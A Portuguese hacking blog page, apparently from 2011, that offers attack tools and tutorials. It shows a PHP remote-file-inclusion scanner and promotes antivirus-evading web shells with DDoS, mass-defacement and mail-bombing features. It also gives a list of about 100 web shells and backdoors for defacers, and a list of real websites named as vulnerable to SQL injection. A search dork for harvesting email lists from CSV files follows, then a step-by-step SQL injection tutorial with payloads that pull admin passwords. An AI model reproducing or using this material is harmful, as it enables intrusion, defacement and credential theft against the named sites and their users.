Parceiro: Camisetas Hacker

Camisetas para Nerds & Hackers

domingo, 20 de fevereiro de 2011

SCRIPT PHP Security-Shell RFI Scanner v1.0


Segurança Shell RFI Scanner v1.0 é um scan de rfi pra você scanner de plantão.


* Copyright (C) 2007 por pentest
* Http://security-sh3ll.com
* Este programa é software livre, pode redistribuí-lo e / ou modificá-
* Sob os termos da GNU General Public License conforme publicada pela
*
* Mas SEM NENHUMA GARANTIA, sem mesmo a garantia implícita de *COMERCIALIZAÇÃO ou ADEQUAÇÃO PARA UM DETERMINADO PROPÓSITO. Veja o * Licença Pública Geral GNU para obter mais detalhes.


/***************************************************************************
 *   PHP Security-Shell RFI Scanner v1.0                                   *
 *                                                                         *
 *   Copyright (C) 2007 by pentest                                         *
 *                                                                         *
 *   http://security-sh3ll.com                                             *
 *                                                                         *
 *   This program is free software; you can redistribute it and/or modify  *
 *   it under the terms of the GNU General Public License as published by  *
 *   the Free Software Foundation; either version 2 of the License, or     *
 *   (at your option) any later version.                                   *
 *                                                                         *
 *   This program is distributed in the hope that it will be useful,       *
 *   but WITHOUT ANY WARRANTY; without even the implied warranty of        *
 *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the         *
 *   GNU General Public License for more details.                          *
 *                                                                         *
 ***************************************************************************/
 
    $escan_inc_regex   = array( '/include(_once)?.\$/ix', '/require(_once)?.\$/ix' );
    /* Regex to extract the names of variables */
    $escan_var_regex   = array( '/\Ainclude(_once)?./is', '/\Arequire(_once)?./is' );
    /* Array of file extensions to scan */
    $escan_valid_ext   = array( 'php' );
    /* Maximum size of a file to scan, scans all if 0 */
    $escan_max_size    = 0;
    /* Counter crawled directory */
    $escan_dir_count   = 0;
    /* Perpetual scanned files */
    $escan_file_count  = 0;
    /* Perpetual potential rfi found */
    $escan_match_count = 0;
    /*Perpetual crawled total bytes */
    $escan_byte_count  = 0;
 
    escan_banner();
 
 
    if( $argc < 2 ){
        escan_usage($argv[0]);
    }
    else{
 
        $stime = escan_get_mtime();
 
        escan_recurse_dir( realpath($argv[1]).DIRECTORY_SEPARATOR );
 
        $etime = escan_get_mtime();
 
        print "\n@ Scan report : \n\n" .
              "\t$escan_dir_count directory .\n".
              "\t$escan_file_count file .\n".
              "\t" . escan_format_size($escan_byte_count) . " .\n".
              "\t$escan_match_count Potential RFI .\n".
              "\t".($etime-$stime) . " Second Processing .\n\n";
    }
 
    /* A string formats in a magnitude expressed in bytes */
    function escan_format_size($bytes)
    {
        if( $bytes < 1024       ) return "$bytes bytes";
        if( $bytes < 1048576    ) return ($bytes / 1024) . " Kb";
        if( $bytes < 1073741824 ) return ($bytes / 1048576) . " Mb";
 
        return ($bytes / 1073741824) . " Gb";
    }
 
    /* Returns the timestamp in seconds */
    function escan_get_mtime()
    {
        list($usec, $sec) = explode(" ",microtime());
        return ((float)$usec + (float)$sec);
    }
 
    /* Extracts line of code inclusion */
    function escan_scan_line($content,$offset)
    {
        list( $line, $dummy ) = explode( ";" , substr($content,$offset,strlen($content)) );
 
        return $line.";";
    }
 
    /* Extract the variable name from line of code inclusion */
    function escan_parse_var( $line, $regex_id )
    {
        global $escan_var_regex;
 
        $vars       = preg_split($escan_var_regex[$regex_id],$line);
        $varname    = $vars[1];
        $delimiters = " .);";
 
        for( $i = 0; $i < strlen($varname); $i++ ){
            for( $j = 0; $j < strlen($delimiters); $j++ ){
                if($varname[$i] == $delimiters[$j]){
                    return substr( $varname, 0, $i );
                }
            }
        }
 
        return $varname;
    }
 
    /* Check if the variable $var is defined in $content before position $offset*/
    function escan_check_definitions($content,$offset,$var)
    {
        if( strpos( $var, "->" ) ){
            return 1;
        }
 
        $chunk = substr($content,0,$offset);
        $regex = "/".preg_quote($var,"/")."\s*=/ix";
        preg_match( $regex, $chunk,$matches );
 
        return count($matches);
    }
 
    /* $file the file to check for potential rfi */
    function escan_parse_file($file)
    {
        global $escan_inc_regex;
        global $escan_max_size;
        global $escan_file_count;
        global $escan_match_count;
        global $escan_byte_count;
 
        $fsize = filesize($file);
 
        if( $escan_max_size && $fsize > $escan_max_size ) return;
 
        $escan_file_count++;
        $escan_byte_count += $fsize;
 
        $content = @file_get_contents($file);
 
        for( $i = 0; $i < count($escan_inc_regex); $i++ ){
            if( preg_match_all( $escan_inc_regex[$i], $content, $matches, PREG_OFFSET_CAPTURE ) ){
 
                $nmatch = count($matches[0]);
 
                for( $j = 0; $j < $nmatch; $j++ ){
                    $offset = $matches[0][$j][1];
                    $line   = escan_scan_line($content,$offset);
                    $var    = escan_parse_var($line,$i);
 
                    if( escan_check_definitions($content,$offset,$var) == 0 )
                    {
                        $escan_match_count++;
                        print "@ $file - \n\t- '$var' The position $offset .\n";
                    }
                }
            }
        }
    }
 
    /* Returns the file extension $fname */
    function escan_get_file_ext($fname)
    {
        if( strchr($fname,'.') ){
            return substr($fname,strrpos($fname,'.')+1);
        }
        else{
            return "";
        }
    }
 
    /* Check if file $fname is a valid extension */
    function escan_isvalid_ext($fname)
    {
        global $escan_valid_ext;
 
        for( $i = 0; $i < count($escan_valid_ext); $i++ ){
            if(strstr(escan_get_file_ext($fname),$escan_valid_ext[$i])){
                return true;
            }
        }
 
        return false;
    }
 
    /* That function scans directories recursively */
    function escan_recurse_dir($dir)
    {
        global $escan_dir_count;
 
        $escan_dir_count++;
 
        if( $cdir = @dir($dir) ){
            while( $entry = $cdir->read() ){
                if( $entry != '.' && $entry != '..' ){
                    if( is_dir($dir.$entry) ){
                        escan_recurse_dir($dir.$entry.DIRECTORY_SEPARATOR);
                    }
                    else{
                        if( escan_isvalid_ext($dir.$entry) ){
                            escan_parse_file($dir.$entry);
                        }
                    }
                }
            }
 
            $cdir->close();
        }
    }
 
    function escan_banner()
    {
        print "*-----------------------------------------------------*\n" .
              "*   PHP Security-Shell RFI Scanner v1.0  by pentest   *\n" .
              "*                                                     *\n" .
              "*             http://security-sh3ll.com               *\n" .
              "*-----------------------------------------------------*\n\n";
    }
 
    function escan_usage($pname)
    {
        print "Use : php $pname \n";
    }
?>

Scanner SQLI online feito pelo grupo HCV

Scanner SQLI online feito pelo grupo kinginfet

Scanner SQLI online feito pelo grupo HCV, alem de scan ele ja testa as vull utilizando tecnicas sql injection espero que que gostem vou colocar um scan online com strins especiais para ele, bom scan.

Shell script da ITSECTEAM muito bom esse grupo.

Shell script da ITSECTEAM muito esse grupo.

Shell script da ITSECTEAM muito esse grupo.Esta shell foi desenvolvida por membros ITSecTeam e não e bloqueiada por AV's quando aberta,  boa estrutura, essa equipe de TI sempre desenvolvendo coisas novas:
  • executar comandos do sistema
  • executar comando de desvio
  • bypass diretório
  • conectar-se a bases de dados comuns, como MsSQL, MSSQL, PostgreSQL, Oracle e DB2
  • editar os arquivos e diretórios e novas características da versão:
  • Adicionando informaton servidor, versão do php e modo seguro para o topo da página shell para facilidade de uso.
  • Sistema de unidades de anúncio.
  • Adicionando ícones de arquivos e pastas.
  • Abertura de arquivos com link direto.
  • Baixar todos os arquivos e pastas de uma pasta especial em formato zip, sem usar uma função específica.
  • Direct download de um arquivo.
  • Manter diretório de trabalho para uso de recursos do site todo.
  • Adicionar symlink de 2 maneiras: usando o OS de linha de comando e de habilidades do PHP.
  • Alterar seqüência de caracteres para outros formatos.
  • Mail Boomber.
  • Local Quedas do PHP e Apache.
  • Dumping databse em sql e formato gzip.
  • Massa desmoralização de todas as pastas com permissão de gravação de acesso.
  • Download de um arquivo de outros servidores.
  • Executando ataque DDoS remoto.
  • Procurando por todas as pastas gravável.
  • Bypass symlink e segurança Mod via htaccess e desativando o modo de segurança e desabilitar funções via php.ini se o servidor configurado impróprios.
  • Remonving shell automaticamente.
  • Copiando um arquivo sem usar função de cópia.
  • Mudança de modelo de reservatório.
  • Removendo bugs das versões anteriores.
  • Adicionando evento de actividades passado.
  • Desativando qoute magia em execução.

BAIXAR SHELL SCRIPT ITSECTEAM
goo.gl/NzQT8

Um belo pacote de 100 SHELL script's.

Um belo pacote de 100 SHELL script's.

Resolvi disponiblizar uma lista de shells scripts para quem gosta da art do deface, umas 100 pra começar.

C99Shell v. 1.0 beta (5.02.2005) PHP
Cyber Shell PHP
GFS Web-Shell PHP
NFM 1.8 PHP
r57shell PHP
Small Web Shell by ZaCo PHP
nsTView v2.1 PHP
DxShell v1.0 PHP
C99madShell v. 2.0 madnet edition PHP
CTT Shell PHP
GRP WebShell 2.0 release build 2018 ©2006,Great PHP
Crystal shell PHP
Loaderz WEB Shell PHP
NIX REMOTE WEB SHELL PHP
Antichat Shell PHP
CasuS 1.5 PHP
Sincap 1.0 PHP
C99Shell v. 1.0 pre-release build(safe-mode) PHP
hiddens shell v1 PHP
Web-shell ©ShAnKaR PHP
Predator PHP
KA_uShell 0.1.6 PHP
NGH PHP
C2007Shell v. 1.0 pre-release build #16 Modded by Adora & u9 h4c93r PHP
Antichat Shell. Modified by Go0o$E PHP
c0derz shell [csh] v. 0.1.1 release PHP
iMHaBiRLiGi Php FTP PHP
PHVayv PHP
phpRemoteView PHP
STNC WebShell v0.8 PHP
MyShell PHP
ZyklonShell PHP
AK-74 Security Team Web Shell Beta Version PHP
Gamma Web Shell Perl-Cgi
go-shell Perl-Cgi
PhpSpy Ver 2006 Perl-Cgi
CmdAsp.asp.txt ASP
CyberSpy5.Asp.txt ASP
klasvayv.asp.txt ASP
indexer.asp.txt ASP
NTDaddy v1.9 ASP
reader.asp.txt ASP
RemExp.asp.txt ASP
zehir4.asp.txt ASP
Elmaliseker.txt ASP
EFSO_2.txt ASP
accept_language PHP
Ajax_PHP Command Shell PHP
Antichat Shell v1.3 PHP
Ayyildiz Tim -AYT- Shell v 2.1 Biz PHP
aZRaiLPhp v1.0 PHP
backupsql PHP
c99 PHP
c99_locus7s PHP
c99_madnet PHP
c99_PSych0 PHP
c99_w4cking PHP
Crystal PHP
ctt_sh PHP
cybershell PHP
dC3 Security Crew Shell PRiV PHP
Dive Shell 1.0 - Emperor Hacking Team PHP
DTool Pro PHP
Dx PHP
GFS web-shell ver 3.1.7 - PRiV8 PHP
gfs_sh PHP
h4ntu shell [powered by tsoi] PHP
iMHaPFtp PHP
ironshell PHP
JspWebshell 1.2 PHP
KAdot Universal Shell v0.1.6 PHP
lamashell PHP
Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit PHP
load_shell PHP
matamu PHP
Moroccan Spamers Ma-EditioN By GhOsT PHP
myshell PHP
Mysql interface v1.0 PHP
MySQL Web Interface Version 0.8 PHP
mysql PHP
mysql_tool PHP
NCC-Shell PHP
NetworkFileManagerPHP PHP
NIX REMOTE WEB-SHELL v.0.5 alpha Lite Public Version PHP
nshell PHP
nstview PHP
PH Vayv PHP
PHANTASMA PHP
PHP Shell PHP
php-backdoor PHP
php-include-w-shell PHP
pHpINJ PHP
PHPJackal PHP
PHPRemoteView PHP
Private-i3lue PHP
pws PHP
r57 PHP
r57_iFX PHP
r57_kartal PHP
r57_Mohajer22 PHP
rootshell PHP
ru24_post_sh PHP
s72 Shell v1.1 Coding PHP
Safe0ver Shell -Safe Mod Bypass By Evilc0der PHP
Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2 PHP
SimAttacker - Vrsion 1.0.0 - priv8 4 My friend PHP
simple_cmd PHP
simple-backdoor PHP
SimShell 1.0 - Simorgh Security MGZ PHP
SnIpEr_SA Shell PHP
Uploader PHP
WinX Shell PHP
Worse Linux Shell PHP
zacosmall PHP
Antichat Shell v1.3 PHP
Ayyildiz Tim -AYT- Shell v 2.1 Biz PHP
aZRaiLPhp v1.0 PHP
CrystalShell v.1 PHP
Cyber Shell (v 1.0) PHP
dC3 Security Crew Shell PRiV PHP
Dive Shell 1.0 - Emperor Hacking Team PHP
DxShell.1.0 PHP
ELMALISEKER Backd00r ASP
GFS web-shell ver 3.1.7 - PRiV8 PHP
h4ntu shell [powered by tsoi] PHP
JspWebshell 1.2 JSP
KAdot Universal Shell v0.1.6 PHP
Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit PHP
Macker's Private PHPShell PHP
Mysql interface v1.0 PHP
MySQL Web Interface Version 0.8 PHP
NIX REMOTE WEB-SHELL v.0.5 alpha Lite Public Version PHP
Perl Web Shell by RST-GHC PL
Private-i3lue PHP
RedhatC99 [login=redhat-pass=root] PHP
Rootshell.v.1.0 PHP
s72 Shell v1.1 Coding PHP
Safe0ver Shell -Safe Mod Bypass By Evilc0der PHP
Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2 PHP
SimAttacker - Vrsion 1.0.0 - priv8 4 My friend PHP
SimShell 1.0 - Simorgh Security MGZs PHP
WinX Shell PHP
Worse Linux Shell PHP
BAIXAR SHELL'S

Programa Scanner de vulnerabilidade em Joomla CMS

JOOMLA SECURITY SCANNER

JOOMLA SECURITY SCANNER

Aé vai um programa scanner que varre vulnnerabilidades de sites feitos em joomla ,segui o link logo abaixo
Programa Scanner de vulnerabilidade em Joomla CMS
BAIXA O SCANNER:

Lista de 5mil sites vull a sql injection

Lista de 5mil sites vull a sql injection


Caros amigos aé vai uma listas de sites vull a SQL injection.

http://www.solutionfocusedtrainers.co.uk/trainers.php?id='4 
http://www.arcdi.com/trainers.php?id='30
http://youronesourcefitness.com/trainers.php?id='30
http://www.emarotta.com/article.php?ID='338
http://www.gesmer.com/publications/article.php?ID='51
http://www.elreloj.com/article.php?id='13798
http://www.bramleybuffs.com/news/article.php?Id='0222 
http://www.limelight-software.com/article.php?id='59 
http://www.bluecusa.com/press/article.php?id='000073 
http://www.arocariaflowers.com/article.php?id='5
http://www.icehw.net/article.php?id='104
http://thebiggreen.net/article.php?id='1089 
http://www.harrisburgu.net/news/article.php?id='416
http://youth.100steps.net/article.php?id='2524
http://www.pornkruba.net/article.php?id='11012&lang='th
http://www.bloomhealth.net/news/article.php?id='48
http://www.yangdentalgroup.net/nl/article.php?id='1512&type='col
http://www.all.org/article.php?id='10130
http://www.saveoureverglades.org/article.php?id='1 
http://www.lam.org/news/article.php?id='305 
http://www.plusline.org/article.php?id='6068
http://www.chayka.org/article.php?id='1164 
http://www.unitedpurpose.org/archive/article.php?id='100 
http://www.latinamericamission.org/news/article.php?id='183
http://www.sharetrails.org/magazine/article.php?id='1002
http://vb-faq.de/article.php?id='96
http://www.wbv-ohp.de/aktuelles/article.php?Id='270
http://www.duesseldorf.feg.de/static/sebalu2/article.php?id='48
http://www.mitmischen.cc/article.php?id='41
http://www.taoba.cc/article.php?id='3
http://agung-saputra.co.cc/article.php?id='1
http://www.clydebankpost.co.uk/article.php?id='12393&sec='1
http://www.website-design-lincolnshire.co.uk/article.php?id='59
http://anadoluofset.info/ana/modules/articles/article.php?id='35
http://www.israel-diaspora.info/article.php?id='853
http://www.scaa.us/article.php?id='1
http://www.eleganthomesinwesttoronto.com/ShowResources.cfm?Pageid='49485&TypeOfPage='2
http://www.communitycontrolcenter.com/index.php?PageID='21
http://www.positivenetworks.com/page.php?pageID='3
http://www.shanks.com/subpage.wwi?pageid='5
http://www.turkey-re.com/system/main.php?pageid='2616&articleid='3687&objectid='10032
http://www.sbp-journal.com/default.aspx?pageid='15
http://www.europe-re.com/system/main.php?objectid='10146&objectopt='news&pageid='2236
http://coherence.oracle.com/pages/viewpage.action?pageId='1343616
http://dama.i4a.com/i4a/pages/index.cfm?pageid='3533
http://www.bingham.com/Page.aspx?PageID='107
http://www.kalonjirecords.com/index.php?pageID='237
http://www.marincyclists.com/Default.aspx?pageId='131074
https://www.positivenetworks.com/page.php?pageID='122
http://www.surfwaxcandle.com/index.cfm?pageid='2
http://www.chefpaul.com/site.php?pageID='285&iteminfo='1&productID='229
http://www.konstmoten.com/pages.asp?PageID='171&MenuID='1134
http://www.lovemarks.com/index.php?pageID='20016&lmvideoid='106
http://www.irrawaddymedia.com/research.php?pageid='2
http://www.arcsoft.com/public/content_page.asp?pageID='470


O restante das vull ao total são umas  5 mil : http://blog.inurl.com.br/p/banco-de-strings_16.html

quarta-feira, 16 de fevereiro de 2011

Capturando lista de email em base csv.

Capturando lista de email em base csv



Creia uma Dork para procura de List-mail em bases csv dentro de site,
abaixo segui uma introdução sobre o que é CSV


Comma-separated values (CSV), em português Valores Separados por Vírgula, é um formato de arquivo que armazena dados tabelados, cujo grande uso data da época dos mainframes. Por serem bastante simples, arquivos .csv são comuns em todas as plataformas de computador.
O CSV é um implementação particular de arquivos de texto separados por um delimitador, que usa a vírgula e a quebra de linha para separar os valores. O formato também usa as aspas em campos no qual são usados os caracteres reservados (vírgula e quebra de linha). Essa robustez no formato torna o CSV mais amplo que outros formatos digitais do mesmo segmento.

Especificação

Embora não exista uma especificação formal do formato CSV, o RFC 4180 descreve um formato comum e estabelece text/csv como um tipo MIME registrado na IANA. Formalmente, o CSV é um formato de dados delimitado que possui campos (colunas) separados por caracteres de vírgula e registros (linhas) separados por caracteres de quebra de linha. Campos que contêm caracteres especiais (vírgula, quebra de linha ou aspas) devem ser envolvidos em aspas. Entretanto, se uma linha contiver uma única entrada que seja uma cadeia vazia, ela também pode ser envolvida por aspas. Se um campo contiver um caractere de aspas, ele é discernido posicionando outro caractere igual logo em seguida. O formato CSV não requisita uma codificação de caracteres, uma ordenação de bytes ou um formato de terminador de linha.

Exemplo

1997 Ford E350 ac, abs, moon 3000.00
1999 Chevy Venture "Extended Edition" 4900.00
1996 Jeep Grand Cherokee MUST SELL!
air, moon roof, loaded
4799.00
A tabela acima pode ser ser representada em CSV da seguinte maneira:
1997,Ford,E350,"ac, abs, moon",3000.00
1999,Chevy,"Venture ""Extended Edition""",,4900.00
1996,Jeep,Grand Cherokee,"MUST SELL!
air, moon roof, loaded",4799.00
------------------------------------------------------------------------------------------------------------
Quantidade:Aproximadamente 1 string
Autor:Cleiton Pinheiro
Fonte:blog.inurl.com.br
Código de pesquisa:
 +@  +intext:(*mail*) +hotmail +br ext:csv

terça-feira, 15 de fevereiro de 2011

Tutorial como invadir com SQL Injection (MySQL), sql injection por method $_GET e $_POST, programa para sqlinjection

Tutorial como invadir com SQL Injection (MySQL), sql injection por method $_GET e $_POST, programa para sqlinjection


O que é Sql Injection?
É uma vulnerabilidade existente nos dias de hoje, que si usa de uma manipulação em  códigos sql. Esta vulnerabilidade permite ao atacante executar consultas ao banco de dados inserindo querys (comandos Sql) na url do site ou ate mesmo em campos de text. obtendo, assim, informações confidenciais como logins e senhas, dentre outros.
Hoje em dia são usadas muitas técnicas para explorar um banco de dados de um site servidor… Citarei algumas das técnicas.
1 – Sql Injection
A) Verificar a si existe uma Vulnerabilidade sem programa.
Vou citar um exemplo básico, para si saber si existe uma vulnerabilidade. Suponhamos que existe um site chamado “ALVO”, e esse site contem dados enviados por variáveis URL.
Código:
http://www.alvo.com/news.php?id=5
No caso acima, o nome do site é www.alvo.com, Toda vez que você ver no link de um site o sinal de interrogação seguido de alguma palavra,letra,silaba recebendo algum valor, isso quer diser que existe um dado sendo enviado de uma pagina para outra. Exemplo: ?id=5.
Isso significa que neste caso, a pagina news.php estará recebendo o.
Concerteza na pagina, chamada news.php terá um código, parecido com esse:
$id       =$_post[‘id’];
E obviamente terá um código sql, parecido com esse.
Query_rs        = “select *  from noticias where código=’$id’”
Isso significa que a pagina news.php esta selecionando a noticia em que o codigo da noticia seja igual ao codigo da URL, que seria a variavel $id.
Agora, vamos a parte para identificarmos se o site é vulnerável, colocaremos ao final da url uma aspa simples ( ‘ ). Abaixo é mostrado a forma como a url ficará.
Código:
http://www.alvo.com/news.php?id=5′
Caso o site retorne um erro igualmente ou semelhante ao apresentado a seguir. O site é vulnerável a Sql Injection
Erro:
“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the…
O erro acima diz que a sintase da consulta sql esta incorreta. e pede para você checar o manual correspondente ao SGBD que você está utilizando. “Até parece que você é o administrador do site”
Agora que checamos o erro no site e sabemos que este é vulnerável a injeção de Sql na url. Agora Iremos aprender a explorar esta vulnerabilidade. Com alguns macetes:
B) – Localizar a Quantidade/Número de Colunas/Tabelas do banco de dados.
Utilizaremos uma forma bastante simples para descobrir a quantidade de colunas existentes na tabela. Para encontrar a quantidade de Colunas/Tabelas é utilizado o comando ORDER BY, esse comando é colocado no fim da sintase sql, significa ordenar em formas descendente, ascendente dentre outras a suas consulta.
Mas como utilizar este comando Sql?
Ao final da url você adiciona o comando order by e vai adicionando uma sequência de Colunas, ou seja, você pode acionar a coluna correspondente. Caso queira olhar a coluna 1, ordene assim:
Código:
http://www.alvo.com/news.php?id=5 order by 1
Se não aparecer nenhum erro é por que esta Coluna número 1 existe. Para localizar a quantidade de colunas basta ir tentando ordenar todas as colunas de 1 a infinito.  Lembre-se que esta vulnerabilidade necessitamos trabalhar em cima dos erros, então o ideal é você ir acrescentado valor até que o site retorne um erro dizendo que a Coluna é inexistente no banco de dados.
Código:
http://www.alvo.com/news.php?id=5 order by 1/* <– Sem erro
http://www.alvo.com/news.php?id=5 order by 1,2/* <– Sem erro
http://www.alvo.com/news.php?id=5 order by 1,2,3/* <– Sem erro
http://www.site.com/news.php?id=5 order by 1,2,3,4 <– Com erro
O exemplo acima, é atribuido Colunas (1..2..3..4), no entanto, é mencionado erro na Coluna 4. Conclui-se então que esta Coluna é inexistente e que o banco possui apenas 3 Colunas.
C) – Utilizando a função UNION.
Esta função poderosa é responsável por unir vários dados localizados em Colunas de Tabelas diferentes. “Essa é muito boa”
Vamos utilizar o exemplo abaixo para melhor exemplificar.
Código:
http://www.alvo.com/news.php?id=5 union all select 1,2,3
Explicando a Sql:
O exemplo acima vai possibilitar ao “Injectador” visualizar todas as informações contidas nas Colunas/Tabelas 1, 2 e 3 do banco.
Código:
…?id … union all select 1,2,3
Faça a união de todas as informações contidas das Colunas/Tabelas 1, 2 e 3 do site: http://www.alvo.com/news.php. Está e a ordem que você atribui ao comando colocado na url do site.
D) – Descobrindo a versão do SGBD (MySql).
Código:
http://www.alvo.com/news.php?id=5 union all select 1,2,3
Observe acima que na url o comando Sql pede para visualizar as três Colunas/Tabelas existentes no banco. Agora para visualizar a versão do banco é necessário que façamos uma substituição. Retirar a Coluna/Tabela 2 pelo comando @@version.
Código:
http://www.alvo.com/news.php?id=5 union all select 1,@@version,3
Caso não der certo, você receberá uma mensagem de erro semelhante a esta:
Citação:
“union + illegal mix of collations (IMPLICIT + COERCIBLE) …”
Para resolver este erro vamos utilizar a função convert(). Exemplo abaixo:
Código:
http://www.alvo.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/
Ou então as funções hex() e unhex();
Código:
http://www.alvo.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/
Com os procedimentos acima, você irá conseguir achar a versão do SGBD MySql.
E) – Obtendo o nome da Coluna/Tabela.
Agora que temos a versão, iremos ao passo seguinte. Descobrir o nome das Colunas/Tabelas:
Geralmente os DBA’s (Administradores de Banco de Dados) utilizam nomes comuns como padronização para suas Colunas/Tabelas como:
Citação:
user, usuario, admin, member, membro, password, passwd, pwd, user_name
Lógico que isto depende bastante de DBA’s e qual tipo de padronização ele estiver utilizando.
Na consulta abaixo o “Injectador” bicuda, isto mesmo ele utiliza a técnica de tentativo-erro, para tentar acertar o nome da Coluna/Tabela.
Código:
http://www.alvo.com/news.php?id=5 union all select 1,2,3 from admin
Observe que acima a query diz: “Mostre-me os valores das Colunas/Tabelas 1, 2 e 3 do usuário admin”.
Código:
http://www.alvo.com/news.php?id=5 union all select 1,username,3 from admin
Caso apareça erro, vá mudando o nome da coluna… afinal é a técnica da tentativa e erro.
Código:
http://www.alvo.com/news.php?id=5 union all select 1,username,3 from admin/
Acima, observe que a consulta começa a ficar refinada: “Mostre-me os valores Coluna/Tabelas 1, o nome do usuário e 3 do usuário admin”. Ou seja, suponha que o DBA tenha criado um banco onde as ele separou a Tabela admin, como o exemplo. No entanto, este admin possui inumeras informações (campos) como: nome do admin (username), password, endereco, idade.. etc.
Código:
http://www.alvo.com/news.php?id=5 union all select 1,username, password from admin
Caso a consulta der certo, na tela aparecerá o nome do usuário e a senha. Esta senha aparecerá na tela tanto como texto ou criptografada, em md5 hash.. etc. Vai depender muito da base de dados onde foi desenvolvido o banco.
Para ficar com um boa aparência e organizada as informações na tela. É utilizado a função concat().
Código:
http://www.alvo.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*
Dependendo do campo, fica a seu critério inserir em hexadecimal (0x3a) ou utilizando o padrão Ascii (char(58)).
Código:
http://www.alvo.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*
Na tela já aparecerá os valores com o nome do usuário administrador e a senha. Faça orações para que não aparece em hash md5 senão vai ser outra guerra..
Dica: Quando está difícil para achar o nome da Coluna/Tabela, sempre é bom utilizar mysql.user, pois é muito utilizado como default e como padrão. Exemplo abaixo.
Código:
http://www.alvo.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*
F) – MySql 5.
Devido algumas diferenças atribuídas a versão 5 do MySql. É mostrado aqui uma técnica para obter o nome das Colunas/Tabelas.
Nesta nova versão, é acrescentada um arquivo chamado information_schema, onde possui informações sobre todas as Colunas/Tabelas do banco. É este arquivo que será o nosso alvo.
Código:
http://www.alvo.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*
Na consulta acima substituimos o campo 2 por table_name para obter a primeira tabela de information_schema.
Agora para que a consulta seja rápida é necessário acrescentar um limite para as linhas.
Observer abaixo que é colocado como limite 0, 1.
Código:
http://www.alvo.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*
OBS: você deve ir acrescentando os valores dos limites: 1, 2; 3,4. Vai depender de você, pois vamos supor que o alvo principal é a Coluna/Tabela admin_password e está está na posição 43, então você deveria acrescentar uma por uma até achar… 1, 2; …, …; 42, 43.
Espero que tenham entendido esta parte.
Para obter o nome das colunas, também é utilizado a mesma lógica. Só que agora no arquivo information_schema.columns.
Código:
http://www.alvo.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*
Agora vamos a uma consulta mais específica. Caso você queira que apareça informações mais específica como o nome dos usuário pode-se fazer a consulta abaixo:
Código:
http://www.alvo.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name=’users’/
Com esta consulta é visualizado o nome das colunas.. agora é só utilizar os limites para visualizar os nomes de usuários.
Caso os valores estejam em colunas diferentes (lugares) vamos concatenar utilizando o concat().
Código:
http://www.alvo.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*
Ferramenta de auxílio
SQL Injection 1.2 + Firefox.
https://addons.mozilla.org/pt-BR/firefox/addon/6727
Para dá apoio/auxílio na injeção dos códigos da SQL Injection, aqui é mostrado um complemento do Firefox que pode ajudá-lo bastante nesta tarefa.
O SQL Injection 1.2 que é uma complemento que nos ajuda a inserir códigos tanto em Post quanto em Get. Além de você pode memorizar todas as entradas que você adquirir, sem a necessidade de utilizar o Crtl + c e Crtl + v.
Abaixo as ilustrações mostram a facilidade de uso da ferramenta.
Acima simplesmente pedimos para mostrar o usuário, a senha e o email.
Isto é um exemplo de Sql Injection Avançado. Não é uma técnica tão simples, necessita-se de prática e conhecimento em Sql.
Para quem sabe manejar bem o sql, concerteza que com este simples tutorial, aprenderá coisas a mais do que estou ensinando. Aprenderá que para fazer um sql injection basta injetar um código em outro código.
Espero que todos tenham entendido pelo menos a essência da coisa.
0
A imagem 01 mostra o ícone no campo inferior do Browser. Para darmos início a execução do complemento é necessário dar um clique em cima do ícone (cadeado).
1
A imagem 02 mostra o complemento em si. Observe que não tem muito mistério, um campo para a escolha da String/Query e dois botões de escolha.
2
A imagem 3 mostra que o complemento já vem com algumas Strings, as Query’s que aparecem eu mesmo adicionei.
Mas como funciona?
3

A imagem 04 mostra que o SQL Injection 1.2 já fez a limitação dos campos que podem vir a receber os Strings, que na ilustração acima correspondem a Usuário, Senha, Entrar.
Para inserir é necessário que você clique em cima de qualquer um dos 3 campos do site.
juancarloscunha
A imagem 05 aparece logo após você clicar no campo desejado. Então você pode fazer a escolha de fazer a injeção por POST ou por GET.
juancarloscunha
Na imagem 06 você agora deve escolher em qual campo será inserido a String. Para isto você deve optar em clicar em um dos dois botões:
O botão Injection Code possibilita inserir a String apenas no input que você clicou anteriormente.
O botão Injection in all possibilita que a String seja inserida em todos os campos do site.
Observe que eu clique no botão Injection in all.
Pronto, logo após para iniciar a injeção basta clicar no tão Submit this form.


Fonte:http://juancarloscunha.wordpress.com/2009/08/19/tutorial-como-invadir-com-sql-injection-mysql-sql-injection-por-method-_get-e-_post-programa-para-sqlinjection/